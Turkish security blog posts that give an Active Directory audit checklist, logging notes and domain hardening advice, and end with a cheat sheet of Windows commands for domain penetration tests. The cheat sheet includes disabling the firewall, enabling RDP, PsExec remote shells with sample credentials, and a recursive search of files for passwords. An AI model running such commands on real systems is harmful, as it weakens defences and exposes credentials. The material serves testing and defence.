audit etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
audit etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

29 Haziran 2014 Pazar

Aktif Dizin Nesnelerine Ait Denetimler İçin Temel Kontroller

Aktif Dizin Nesnelerine Ait Denetimler İçin Temel Kontroller

Etki alanı (Domain), bir grup bilgisayarın bir araya gelmesiyle oluşan belli kurallar ve prosedürlerle bir merkezden yönetilen mantıksal bir yapıdır. Orta ve büyük ölçekli bütün kurumlarda sistemlerin neredeyse tamamı Microsoft etki alanı yapısıyla direk olarak yönetilirler veya etki alanındaki nesneler (sistem yöneticilerinin hesabı vs) tarafından dolaylı olarak yönetilirler. Bu sebeple, etki alanının güvenilir bir şekilde oluşturulması, yönetilmesi ve korunması kurum için oldukça önemlidir. Etki alanı güvenliğini sağlamak ve kurum etki alanındaki sistemlere karşı yapılabilecek saldırılar için alınması gereken temel önlemler “Etki Alanı Saldırılarına Karşı Temel Korunma Yöntemleri” yazılarında [1] [2] özetlenmişti. Bu yazıda ise etki alanındaki nesnelerin yönetildiği dizin hizmeti olan Aktif Dizin denetimleri incelenecektir. Bu amaçla öncelikle Aktif Dizin kavramından bahsedilecek, daha sonra da Aktif Dizin denetimleri için kontrol maddeleri listelenecektir.

Aktif Dizin Nedir?

Aktif Dizin Servisi (Active Directory Domain Service), Windows Server 2000 ile kullanılmaya başlanan ve etki alanındaki fiziksel ve mantıksal nesnelerin (ve bu nesnelere ait özelliklerin) oluşturulduğu, yönetildiği, ilkelerin belirlendiği, sorgulandığı merkezi dizin servisidir. Aktif Dizin üzerinde tutulan temel nesneler aşağıdaki gibidir:

  • Kullanıcılar (kullanıcı hesapları)
  • Gruplar (yöneticiler, operatörler, kullanıcı grupları vb.)
  • Bilgisayarlar
  • Yazıcılar
  • Sunucular
  • Etki alanları
  • Site’lar

Aktif Dizin servisi, ağ kaynaklarına ait bilgileri kendine ait bir veritabanında (NTDS) tutar, merkezi olarak organize eder, kullanıcıların yetkileri dahilinde erişimlerini denetler. Aktif Dizin servisi, Microsoft sistemlerinin bulunduğu ortamlarda bir çok yarar sağlamaktadır. Bu yararlardan bazıları şunlardır:

  • Merkezi yönetim
  • Ölçeklenebilirlik
  • DNS ile entegrasyon
  • Politika-tabanlı yönetim
  • Multi-master replikasyon
  • Esnek kimlik doğrulama ve yetkilendirme
  • Diğer dizin servisleriyle birlikte çalışabilme
  • İmzalanmış ve şifrelenmiş LDAP trafiği
  • Betikler ile yönetim


Aktif Dizin Kontrol Maddeleri


Aktif Dizin üzerindeki nesnelerin güvenilir bir şekilde yönetilmesi için bir takım kontrol maddeleri bu başlık altında belirtilmiştir. Kontrol maddelerinde ne yapılması gerektiği üzerinde durulmuş olup, nasıl yapılacağı konusu sistem yöneticilerine bırakılmıştır. Kontrol maddelerinde belirtilen nesnelerin otomatik olarak nasıl  tespit edileceği ile ilgili internet üzerinde - başta Powershell olmak üzere - bir çok betik bulunabilir. Ayrıca aşağıdaki maddeleri ve çok daha fazlasını gerçekleştirebilen otomatik denetim araçları da kullanılabilir.

Denetim sonucunda gerçekleştirilmesi gereken işlemler kurum politikasında belirtilmelidir. Örneğin, uzun süre oturum açmayan kullanıcı hesapları tespit edildikten sonra bu hesaplar belli bir süre boyunca devre dışı bırakılabilir ve bir süre sonra da tamamen silinebilir. Benzer olarak tespit edilen nesnelerin ne zaman, hangi kullanıcı tarafından oluşturulduğu da incelenebilir.

Aktif Dizin güvenliği için kontrol edilebilecek temel maddeler aşağıdaki gibidir:

1) Ortak Hesap Kullanan Kullanıcı Hesapları

Ortak hesap kullanımı özellikle yardım masası veya teknik destek gibi vardiyalı çalışan bölümlerde sık karşılaşılabilen durumlardandır. Kurum içerisinde ortak kullanılan kullanıcı hesapları tespit edilmelidir. Aksi halde işlemi gerçekleştiren kullanıcının kimliğinin tespit edilmesi kaydı tutulan başka faktörlerle (IP adresi, çalışılan saat dilimi, …) mümkün olabilmektedir.

2) Uzun Süredir Oturum Açmamış Kullanıcı Hesapları

Kurum içerisinde uzun bir süre (3 hafta gibi) oturum açmayan kullanıcı hesapları tespit edilmelidir. Bu süre kurum politikasına göre değişiklik gösterebilir. Tatil izinleri, yurt dışı gezileri gibi durumlar göz önüne alınarak bu süre ve kapsam belirlenmelidir.

3) Parolasını Hiç Değiştirmemiş Olan Kullanıcı Hesapları

Bir çok kurumda bir kullanıcı hesabı oluşturulurken standart bir parola ile oluşturulurlar. Bu parola o hesabın sahibi olan kullanıcı tarafından ilk oturumda değiştirilmesi gerekmektedir. Parolasını hiç değiştirmemiş olan kullanıcı hesapları tespit edilmelidir.

4) Uzun Süredir Parolasını Değiştirmeyen Kullanıcı Hesapları

Kurum politikasına uygun olacak şekilde kurum içerisinde bir parola politikası oluşturulmalı ve uygulanmalıdır. Parola politikasında parola değiştirme süresi için uygun bir değer verilmelidir. Belirlenen süre boyunca parolasını değiştirmeyen kullanıcı hesapları tespit edilmelidir. Uzun süredir parolasını değiştirmeyen ve parolası saldırganlar tarafından bir şekilde ele geçirilmiş olan bu kullanıcı hesapları etki alanına karşı gerçekleştirilebilecek sonraki saldırılarda kullanılabilmektedir.

5) Parolasını Değiştiremeyen Kullanıcı Hesapları

Uygulama/servis kullanıcıları veya belirli sebeplerle bazı kullanıcı hesaplarının parolalarının değiştirilmemesi gerekebilmektedir. Parolasını değiştiremeyen kullanıcı hesapları tespit edilmelidir.

6) Parola Değiştirmesi Zorunlu Olmayan Kullanıcı Hesapları

Başta uygulama ve servis kullanıcı hesapları olmak üzere, parola politikasına rağmen parola değiştirmesi zorunlu olmayan kullanıcı hesapları tespit edilmelidir.

7) Parolası Sona Ermeyen Kullanıcı Hesapları

Parola politikasına rağmen parolası sona ermeyen kullanıcı hesapları tespit edilmelidir. Özellikle uygulama ve servis kullanıcı hesaplarında görülen bu durum saldırı yüzeyini arttırmaktadır.

8) Parolası Olmayan Kullanıcı Hesapları

Parola politikası sebebiyle, kurumlarda çok sık karşılaşılan bir durum olmasa da, parolası boş olan kullanıcı hesaplarının varlığı tespit edilmelidir.

9) Parolası Olmak Zorunda Olmayan Kullanıcı Hesapları

Önceki kontrol maddesine benzer olarak, parolası olmak zorunda olmayan kullanıcı hesapları tespit edilmelidir.

10) Süresi Geçmiş Kullanıcı Hesapları

Kurum politikası gereği bazı kullanıcı hesapları (danışman, sistem destek, stajyer vs) süreli olarak oluşturulabilmektedir. Bu süre sonrasında bu hesaplar ile işlem yapılamamaktadır. Kurumda süresi geçmiş olan (expire) kullanıcı hesapları tespit edilmelidir.

11) İşten Ayrılmış Kullanıcı Hesapları

Kurumların çoğunda merkezi kimlik yönetimi henüz tam anlamıyla aktif bir şekilde kullanılmamaktadır. İşten ayrılmış olan kullanıcı hesabı ile gerçekleştirilebilecek işlemler sonucunda  kurum ve kurum çalışanları zor durumda kalabilmektedir. Bu sebeple, kurum ile ilişkisi kesilen kullanıcı hesapları tespit edilmelidir. Bunun yanında yetkilendirme işlemleri için kullanıcıdan bağımsız tasarımların kullanılması [3] [4] güvenliği arttırmaktadır.

12) Kurum Personeli Olmayan Kullanıcı Hesapları

Danışmanlık, sistem destek, stajyerlik gibi sebeplerle etki alanında oluşturulan kullanıcı hesapları tespit edilmelidir. Bu hesaplar oluşturulurken süreli bir şekilde oluşturulması tavsiye edilmektedir. Ayrıca bu hesaplar için özel yapısal birimlerin (OU) oluşturulması ve bu OU altındaki nesnelere sıkılaştırılmış grup ilkelerinin uygulanması tavsiye edilmektedir.

13) “Users” Konteynırında Bulunan Kullanıcı Hesapları

Bir kullanıcı oluşturulduğunda varsayılan olarak “Users” adlı verilen konteynır altında oluşmaktadır. Bir konteynır içerisindeki nesnelere varsayılan grup ilkeleri uygulandığı için “Users” altında kullanıcı hesabının bulunması kontrol eksiliğine sebep olmaktadır. Bu sebeple, “Users” konteynırında bulunan kullanıcı hesapları tespit edilmelidir. Etki alanına yeni eklenen kullanıcı hesapları üzerindeki denetimleri arttırmak için ve etki alanına eklenen ancak henüz faal olmayan nesneleri daha iyi takip edebilmek için; bu hesapların sıkılaştırılmış bir OU altında oluşturulması tavsiye edilmektedir. Kullanıcı hesabı ile işlem yapıldıktan ve grup ilkesi alındıktan sonra ilgili OU altına eklenmesi güvenliği arttırmaktadır. Sonuç

14) Dial-in Bağlantı Hakkı Olan Kullanıcı Hesapları

Dial-in bağlantı hakkı olan kullanıcılar tespit edilmelidir. Uzak erişimler için dial-in bağlantı yerine kurum ihtiyacına daha güvenilir bir şekilde cevap verecek yöntemler (SSL VPN gibi) tercih edilmelidir.

15) Gereksiz Tanımlama Bilgisine Sahip Olan Kullanıcı Hesapları

Kullanıcı hesaplarına ait bir çok bilgi, herhangi bir kullanıcı tarafından elde edilebilmektedir. Etki alanına gerçekleştirilen saldırılarda da bu bilgiler kullanılmaktadır. Kullanıcı hesaplarına ait gereksiz bilgilerin Aktif Dizin üzerinde saklanmaması tavsiye edilmektedir.

16) Eksik Tanımlama Bilgisine Sahip Olan Kullanıcı Hesapları

Denetim yönü ile ele alındığında, kurum politikası ile belirlenmiş tanımlamalar her kullanıcı hesabında bulunmalı, standart tanımları bulunmayan kullanıcı hesapları tespit edilmelidir.

17) İsimlendirme Standardına Uymayan Kullanıcı Hesapları

Kurum politikası gereği kullanıcı hesaplarının nasıl oluşturulacağı belirlenmelidir. Sicil numarasının kullanılması (36146), personelin ad ve soyadının farklı şekillerde kullanılması (remzi.karadayioglu, rkaradayioglu, r.karadayioglu, karadayioglu.remzi,…) bir standart olarak belirlenmelidir. Bunun yanında aynı isim ve soy isme, iki ve daha fazla isme veya soy isme sahip personel için de standardın oluşturulması tavsiye edilmektedir. Belirlenen isimlendirme standardına uymayan kullanıcı hesapları tespit edilmelidir.

18) Kritik Gruplara Üye Olan Ortak Kullanılan Kullanıcı Hesapları

Etki alanında bazı grupların yetkileri diğerlerinden daha fazla öneme sahip olmaktadır. Bu gruplardan bazıları yerleşik (built-in) gruplar (Domain Admins, Enterprise Admins, …) olabildiği gibi, bazı gruplar (Oracle Admins, Microsoft Sistem Yöneticileri, Aktif Cihaz Yönetim Grubu,… ) ise daha sonradan oluşturulmuş olabilir. Etki alanında kritik yetkilere sahip olan gruplar belirlenmeli ve bu gruplara üye olan kullanıcı hesapları tespit edilmelidir.

19) Hiçbir Gruba Üye Olmayan Kullanıcı Hesapları

Grup üyeliği bulunmayan kullanıcı hesapları tespit edilmelidir.

20) Üyesi Olmayan Gruplar

İçerisinde hiçbir üyesi olmayan, boş gruplar tespit edilmelidir.

21) İsimlendirme Standardına Uymayan Gruplar

Kullanıcı hesaplarında olduğu gibi, kurum tarafından oluşturulmuş olan isimlendirme standardına uygulan gruplar tespit edilmelidir.

22) Kritik Grupların Yetkilendirmeleri

Etki alanında kullanıcı yerine, grup ve rol bazlı bir yetkilendirme yapılması gerektiği daha önceden belirtilmişti. Bu grupların etki alanındaki yetkileri tespit edilmelidir.

23) Uzun Süredir Kullanılmayan Bilgisayar Hesapları

Kullanıcı hesaplarında olduğu gibi, uzun süredir kullanılmayan bilgisayar hesapları tespit edilmelidir.

24) Adı Standarta Uymayan Bilgisayar Hesapları

Kullanıcı hesaplarında ve gruplarda olduğu gibi, kurum tarafından oluşturulmuş olan isimlendirme standardına uygulan gruplar tespit edilmelidir.

25) Devre Dışı Bırakılmış Bilgisayar Hesapları

Kullanıcı hesaplarında olduğu gibi, devre dışı (disabled) bırakılmış olan bilgisayar hesapları tespit edilmelidir.

26) “Computers” Konteynırında Bulunan Bilgisayar Hesapları

“Users” konteynırında bulunan kullanıcı hesaplarında olduğu gibi, “Computers” konteynırında bulunan bilgisayar hesapları tespit edilmelidir.

27) İçerisinde Nesne Bulunmayan Yapısal Birimler

Gruplarda olduğu gibi, içerisinde hiçbir üyesi olmayan, boş yapısal birimler (OU) tespit edilmelidir.

28) Adı Standarta Uymayan Yapısal Birimler

Kullanıcı ve bilgisayar hesaplarında, gruplarda olduğu gibi, kurum tarafından oluşturulmuş olan isimlendirme standardına uygulan gruplar tespit edilmelidir.

29) Site İçerisinde Belirtilmemiş Olan Yerel Ağlar

Site, birbiri ile ağ iletişimi kuvvetli olan fiziksel yapılardır. Site, ağın hızına ve trafik kapasitesine göre tasarlanır. Özellikle oturum açma ve replikasyon işlemlerinin daha hızlı gerçekleşebilmesi için Site yapısının iyi tasarlanması gerekmektedir. Bir Site içerisinde bir veya daha fazla alt ağ (subnet) bulunabilmektedir. Böylece bir kullanıcı aynı site içerisinde bulunduğu etki alanı denetleyicisini (DC) kullanarak kimlik doğrulatır. Benzer olarak bir etki alanı denetleyicisi aynı site içerisindeki bir etki alanı denetleyicisi ile replikasyon işlemini gerçekleştirmek için oluşturulan Site ve Subnet bilgilerini kullanılır. Aynı site içerisinde etki alanı denetleyicisi bulunamazsa, farklı site üzerindeki etki alanı denetleyicisi arayışında bulunulur.

Kurum içerisindeki her bir yerel ağ (LAN), içerisinde etki alanı denetleyicisi bulundurmasa dahi, Aktif Dizin üzerinde tanımlanması tavsiye edilmektedir. Bu sebeple, Site içerisinde belirtilmemiş yerel ağlar tespit edilmelidir.

30) DNS Üzerinde Kaydedilmemiş Yerel Ağlar

Alan Adı Sistemi (Domain Name System - DNS); ağdaki bilgisayarları ve ağ hizmetlerini adlandırmak için kullanılan bir sistemdir. DNS, Aktif Dizin yapısı için zorunlu bir roldür. Microsoft ortamlarında, istemciler ağdaki etki alanı denetleyicilerinin ve diğer servis sunucularının yerlerini DNS kullanarak tespit ederler. Eğer DNS üzerinde bir problem oluşursa, erişimlerde problem yaşanacaktır. Aktif Dizin ile entegre olarak oluşturulan Microsoft DNS üzerinde tüm yerel ağlara ait kayıtların bulunması tavsiye edilmektedir. Bu sebeple, DNS üzerinde kayıtlı olmayan kuruma ait yerel ağlar tespit edilmelidir.

Sonuç

Kurum etki alanının (ve dolayısıyla kurumun) güvenliği için alınması gereken önlemlere [1] [2] ek olarak, saldırı yüzeyini daraltmak için belli aralıklarla risk analizleri ve kontroller gerçekleştirilmelidir. Bu yazıda Aktif Dizin sıkılaştırması için gerekli olan temel kontrol maddeleri üzerinde durulmuştur. Bu yazıda bahsi geçen kontrol maddeleri kurum tarafından belli periyotlarla gözden geçirilmesi, ek kontrol maddeleri ile desteklenmesi, otomatikleştirilmesi için betikler (Powershell gibi bir betik dili kullanılarak) hazırlanması veya otomatik olarak bu işlemleri gerçekleştirebilen araçlarla denetimlerin gerçekleştirilmesi, denetim raporu sonucuna göre gerekli iyileştirmelerin kurum politikasına uygun olarak gerçekleştirilmesi, gerçekleştirilen işlemlerin dokümante edilmesi tavsiye edilmektedir.


Kaynaklar
[1] http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/etki-alani-saldirilarina-karsi-temel-korunma-yontemleri-1.html
[2] http://www.bilgiguvenligi.gov.tr/siniflandirilmamis/etki-alani-saldirilarina-karsi-temel-korunma-yontemleri-2.html
[3] http://itfreetraining.com/70-640/agdlp/
[4] http://itfreetraining.com/70-640/agudlp/

30 Mart 2013 Cumartesi

Notlar: Kayıt Tutma (Audit)

Notlar: Kayıt Tutma

Güvenliği sağlamanın bir adımı da denetleme ve izlemedir. Bu amaçlar denetim kayıtları kullanılmaktadır. Bu kayıtlarla muhtemel saldırılara karşı tedbir alınabilir, gerçekleşmiş bir saldırı hakkında bilgi sahibi olunabilir. Denetim kayıtları konusunda bazı dikkat edilmesi gereken noktalar şunlardır:
  • Denetim kayıtların merkezi bir yerde saklanmalıdır. Bu kayıtlara erişimler kısıtlanmalıdır. Böylece, bir sisteme girilmiş fakat bu sistem ile alakalı kayıt dosyaları uzak bir sunucuda tutulmuş ise saldırganın yaptığı işlemleri gizlemesi çok zor olacaktır.
  • Bütün kayıt dosyalarının tek bir yerde tutulması sisteminiz için ek bir güvenlik önlemi getirmenin yanı sıra merkezi bir sistemden kayıt dosyalarının incelenmesi ve yönetilmesi çok daha kolay olacaktır. Bu merkezi yerin güvenliğinin sağlanması ayrı bir önem arz etmektedir.
  • Özellikle kritik veriler için denetim kayıtlarının son 2 yedeklemeden sonrası için üzerine yazılması tavsiye edilmektedir. Örneğin haftada bir denetim kayıtlarının yedeklemenin yapıldığı bir sistemdeki denetim kayıtları 15 günde bir üzerine yazılacak şekilde ayarlanmalıdır. Aksi halde veri kaybı yaşanabilmektedir.
  • Kayıtlarda en önemli bilgi zaman bilgisidir. Kayıtların anlamlı olabilmesi için bu kayıtların zaman bilgilerinin doğru olmasına dikkat edilmelidir. Ortamdaki sistemlerin zaman bilgilerinin doğru ya da senkron olmaması durumda, sistemlerden toplanan bilgiler büyük oranda işe yaramayacaktır. Örneğin, zaman senkronizasyonunun olmaması durumunda Kerberos ile kimlik doğrulama gerçekleşemeyecektir.
  • Mevcut kayıtların belli periyotlarla gözden geçirilmesi ve değerlendirilmesi, gerekli önlemlerin alınması büyük önem arz etmektedir. Böylece olası tehditlerin riski azaltılabilecektir.

Kayıtlarda olması tavsiye edilen temel bilgiler şu şekildedir: Olayın gerçekleştiği zaman bilgisi, olayı gerçekleştiren kullanıcı bilgisi, hedef ve kaynak sistem bilgileri, vs.

Kayıtların tutulması bazı yükümlülükler için de gereklidir. Bu yükümlülükler bilinerek kayıtların tutulması organizasyonun imajını koruyacaktır.

8 Ekim 2012 Pazartesi

Sızma Testlerinden Korunma Yolları: Domain


Domain için Önlemler

Bilgisayarların CD/USB'den boot edilmesi önlenmelidir.
  • BIOS ayarlarından CD-ROM / BIOS yolu ile boot işlemi iptal edilmelidir. Makinenin öncelikle harddisken başlaması için gerekli ayarlar yapılmalıdır.
  • BIOS ayarı yapılmaya çalışılırken şifre sorgulaması yapılmalıdır.
  • Makinelerde diskler tamamen şifrelenmelidir(Full Disk Encryption). Bu şekilde makine boot edilse bile SAM/SYSTEM dosyaları elde edilemeyecektir.
  • Makinelerde LM özetlerinin saklanmamalıdır. En az NTLM şifreleme metodu kullanılmalıdır.

Ağ yapılandırması gözden geçirilmelidir.
  • Gerekli olmayan portlar ve servisler kapatılmalıdır.
  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. 
  • Açılan paylaşımlardaki izinler sadece erişmesi gerekenlerin ulaşabilmesine olanak verecek şekilde ayarlanmalıdır. Yönetimsel paylaşımlar eğer kullanımları gerekmiyor ise domain politikaları ile kaldırılmalıdır.

Zafiyetler giderilmeli ve sistemler güncellenmelidir.
  • Belli periyotlarla zafiyet taraması gerçekleştirilmelidir.
  • Acil olan zafiyetler gerekiyorsa hemen giderilmelidir.
  • Sistemlere son yamalar geçilmelidir.
  • Zafiyetler için kurum politikası belirlenmelidir.
  • AV, IDS/IPS, ADS gibi sistemlerin imzaları güncel tutulmalıdır.
  • Uzaktan kod çalıştırmaya olanak sağlayan bazı kritik açıklıklar şunlardır:
    • MS09-001 / Critical: Vulnerabilities in SMB Could Allow Remote Code Execution (958687)
    • MS08-067 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (958644)
    • MS05-051 / Critical: Vulnerabilities in MSDTC and COM+ Could Allow Remote Code Execution (902400)
    • MS06-040 / Critical: Vulnerability in Server Service Could Allow Remote Code Execution (921883)
    • MS05-027 / Critical: Vulnerability in Server Message Block Could Allow Remote Code Execution (896422)
    • MS05-035 / Critical: Vulnerability in Microsoft Word Could Allow Remote Code Execution (903672)
    • MS09-050 / Critical: Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)
    • MS08-059 / Critical: Vulnerability in Host Integration Server RPC Service Could Allow Remote Code Execution (956695)
    • MS09-004 / Important: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)

İmajların yapılandırılmasına özen gösterilmelidir.
  • Zafiyet taramaları sonucunda elde edilen sonuçlara göre gerekiyorsa imajlar güncellenmelidir.
  • Mevcut sistemlerde gerekli olmayan yerel yönetici kullanıcıları (administrator) devre dışı bırakılmalı ve isimleri her makine için farklı olacak şekilde değiştirilmelidir. Böylece yapılacak saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır. Ayrıca SID değerini kontrol etmeyen saldrgan yanlış yönlendirilecektir. Devre dışı bırakılan Administrator kullanıcısı yerine hakları, izinleri ve grup üyelikleri sınırlandırılmış bir standart kullanıcı oluşturulmalıdır. Oluşturulan bu tuzak yönetici hesabının adı Administrator, tanımı klasik yerel yönetici kullanıcısına ait tanım ("Built-in account for administering the computer/domain") olarak ayarlanmalıdır.Bu kullanıcı kullanılarak saldırgan yanlış yönlendirilebilir. 
    • Parolası olabildiğince uzun (127 karakter olabilir) veriler ve bu hesap devre dışı bırakılabilir.  Saldırganın zaman kaybetmesi sağlanır.
    • Parolası kolayca elde edilebilecek şekilde kısa ayarlanabilir. Daha sonra bu hesap ile bir kez oturum açılarak hesap etkin olarak bırakılabilir. Bu hesap ile yapılan işlemlerin denetim kayıtları tutularak bu hesaplar ile yapılan işlemlerden anlık olarak haberdar olunması sağlanabilir.Böylece muhtemel saldırının önüne de geçilebilir.
  • Kurulan makinelerdeki yerel kullanıcılara ait şifre özetleri, diğer makinelere erişim için kullanılabileceğinden, kurumdaki makinelerde bulunan yerel yönetici şifrelerinin farklı olmasına özen gösterilmelidir.
  • Kurumdaki makinelerin yerel yönetici kullanıcılarına ait şifreler belli periyotlarla manuel olarak değiştirilmelidir. Bu işi saatlik olarak gerçekleştiren araçlar kullanılmalıdır.
  • Yerel yönetici hesaplarının şifreleri, şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.

Domain hakkında bilgi edinilmesi zorlaştırılmalıdır.
  • Kullanıcıların komut satnetırı kullanabilmeleri önlenmelidir.
  • Komut satırından "net", "gpresult" komutu gibi domain hakkında bilgi alınmasını sağlayabilecek komutların kullanılması önlenmelidir. Domain hakkında elde edilebilecek komutların bir kısmı için bakınız: 
  • Domain yöneticileri gibi yetkili kullanıcıların bulundukları grupların adları, dikkat çekmeyecek şekilde değiştirilmelidir.

Son kullanıcılar ve bilgisayarları belli periyotlarla kontrol edilmelidir.
  • Makinelerde yüksek yetkili kullanıcı hakları ile çalıştırılan gereksiz prosesler sonlandırılmalıdır.
  • Makinelere giren kullanıcılar, işlemleri bittikten sonra bilgisayarlarını yeniden başlatmaya (restart) zorlanmalıdır.
  • Domain yöneticileri gibi, önemli gruplardaki kullanıcıların iki tane hesabı olmalıdır. Bu hesaplardan birisi domain üzerinde işlem yapma haklarına sahip oldukları yetkili hesaptır. İkinci hesap ise, domaindeki normal kullanıcılar gibi, yetkisiz hesaptır. Domain yöneticileri yetkili hesaplarını sadece domain işlemlerini yaparken kullanmalıdır, bu hesapla domain controller haricinde gerekmedikçe herhangi bir yere giriş yapılmamalıdır. Farklı sistemlere giriş için yetkisiz / az yetkili hesap kullanılmalıdır. 
  • Önemli gruplarda olan yetkili kullanıcılar bu hesaplarını sadece domaine kullanıcı ekleme, domainden kullanıcı çıkarma, grup politikasını güncelleme gibi işlemler için kullanmalıdır. Domain controller gibi, belli ve sınırlı sayıdaki makinelere bu kullanıcı ile giriş yapılmalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.
  • Yerel yönetici hesapları gibi domaindeki kullanıcıların şifreleri de , şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir. Bu amaçla grup politikaları güncellenmelidir.
  • Güvenli şifre politikaları belirlenmelidir. Aşağıdaki ayarlar uygulanabilir:
    • Enforce password history: 5 Şifre
    • Maximum Password Age: 30 Gün
    • Minimum Password Age: 1 Gün
    • Minimum Password Length: 8 Karakter (en az)
    • Passwords must meet complexity requirements: Etkin
    • Store password using reversible encryption: Devre dışı
  • Domaindeki kullanıcılara ilgili makinelerde yönetici hakkı verilmemelidir. Gerekli olan haklar geçici olacak şekilde verilmelidir.
  • Kullanıcılar makinelerinde yönetici hesapları ile oturum açmamalıdır. Yönetimsel operasyon yapılacak ise, “Run as” ile yönetici hesabına geçiş yapılmalıdır.
  • Son kullanıcıların makinelerinde parolaları içeren dosyalar açık halde tutulmamalıdır, şifrelenmelidir.
  • Domaindeki yetkili kullanıcıların biletleri, çıkış yapıldıktan itibaren otomatik olarak silinecek şekilde yapılandırma yapılmalıdır.
  • RDP yapılmamalıdır. Yapılması gerekiyorsa da her erişim sonrası oturumlar kapatılmalıdır (logoff), mümkünse makine yeniden başlatılmalıdır (restart). RDP yapılan hesapların domain üzerinde yetkili olmamasına dikkat edilmelidir.

Audit işlemleri aktif olmalıdır.
  • Yerel makinelerdeki ve domaindeki işlemlerin logları alınmalıdır.
  • Ağdaki anormallik durumları için alarmlar oluşturulmalıdır. Port taramalar engellenmelidir.
  • Domainde kullanıcı oluşturma/silme işlemleri, hak yükseltme/düşürme işlemleri, kullanıcıları gruba ekleme/çıkarma işlemleri,... gözlenmelidir.

6 Ekim 2012 Cumartesi

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar

Etki Alanı Sızma Testlerinde Kullanılabilecek Komutlar
Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Açık portlar
netstat -ano -p TCP

Açık portlar (Saniyede bir güncellenir)
netstat -ano 1

Açık portu kullanan uygulama
netstat -abf
Örnek: TCP 192.168.0.97:2854 193.140.13.200:imaps ESTABLISHED [OUTLOOK.EXE]

RDP ile bağlanılan makineler
netstat -ano | findstr 3389 | findstr /v 0.0.0.0:3389

Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr "Folder: HostName: Author: Run: TaskName: Comment:"

Zamanlanmış görev oluşturma
at \\192.168.32.62 15:00 "cmd.exe"

Çalışan servislerin listelenmesi
sc query
sc queryex            (PID değeri de içerir)

Bir servisi kapatma
net stop PolicyAgent

Servisleri Listeleme
wmic service get name, displayname, started | findstr /C:Term

Remote Desktop'u etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall set service remotedesktop enable

Remote Assistant'ı etkinleştirmek
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Başka bir kullanıcı gibi komut satırını çalıştırma
runas /env /user:FENER\alex cmd

Bir servisi disable etme
sc config PlugPlay start= disabled
(Power, PlugPlay gibi kapatılamayan servisler devre dış bırakılıp, makine yeniden başlatılırsa bu servis çalışmaz.)
net stop TermService

Çalışan prosesleri servisine göre listeleme ve filtreleme
tasklist SVC | findstr /I "msseces.exe"

Çalışan proseslerin detayları
wmic process where (executablepath like "%system32%" and name!="svchost.exe" or Priority = "8" ) get HandleCount, Name, ParentProcessId, Priority, ProcessId, ThreadCount /Every:3 >  C:\Users\DenemeKullanici\Desktop\Sonuc.txt

Çalışan prosesi öldürme
taskkill /F /T /IM filezillaftp.exe

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

SYSTEM kullanıcı hakkını elde etme
PSEXEC -s cmd.exe

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Oturumu açık kullanıcıları elde etme
query session /server:MSGE-PC

3 nolu oturumu düşürme
reset session 3 /server:MSGE-PC

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z
gpresult /H C:\Users\UygulananIlke.html

Denetim Kurallarını elde etme
auditpol /get /category:*

Bir Registry kaydını elde etme
reg query HKLM\System\CurrentControlSet\Control\Lsa /v crashonauditfail

Bir Audit kaydını düzenleme
auditpol /set /subcategory:"IPsec Driver" /success:enable /failure:disable

Belli isimdeki bir dosyanın / klasörün aranması
dir H:/Muziklerim /s /b | findstr Sezen > liste.txt
tree H:/Muziklerim /F  | findstr Sezen > liste.txt

Parola politikası
net accounts
net accounts /uniquepw:5

Güvenlik duvarını aktifliğini kontrol etme
netsh firewall show opmode
netsh advfirewall show allprofiles

Güvenlik duvarını etkinsizleştirme
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=DISABLE
netsh advfirewall set currentprofile state off

Düşürülen paketleri loglama
netsh firewall set logging droppedpackets = enable
netsh firewall set logging connections = enable
Logların düştüğü dizin:          %systemroot%\System32\LogFiles\Firewall\pfirewall.log

Kayıtlı kritik bilgileri elde etme
Get-ChildItem -Path C:\docs, C:\inetpub, C:\PerfLogs, C:\ProgramData, C:\Users -Include *.txt,  *.log, *.bat, *.reg, *.cs, *.sql, *.ps1, *.config, *.properties  -Recurse | Select-String -Pattern Password, password, Sifre, sifre, Parola, parola, Şifre, şifre, root, admin -casesensitive > C:\Windows\_Arama.txt
Uzantılar: txt, log, bat, reg, cs, sql, ps1, config, properties , ora, xml, java, doc, docx, pdf, xls, xlsx, csv, html, xhtml, htm, cmd, php, py, rb, sh, vbs, c, cfg, mhtml, asp, aspx, jsp, pl, eml, ini, inf
Kaynak: http://en.wikipedia.org/wiki/List_of_file_formats

Kullanıcı & Grup işlemleri
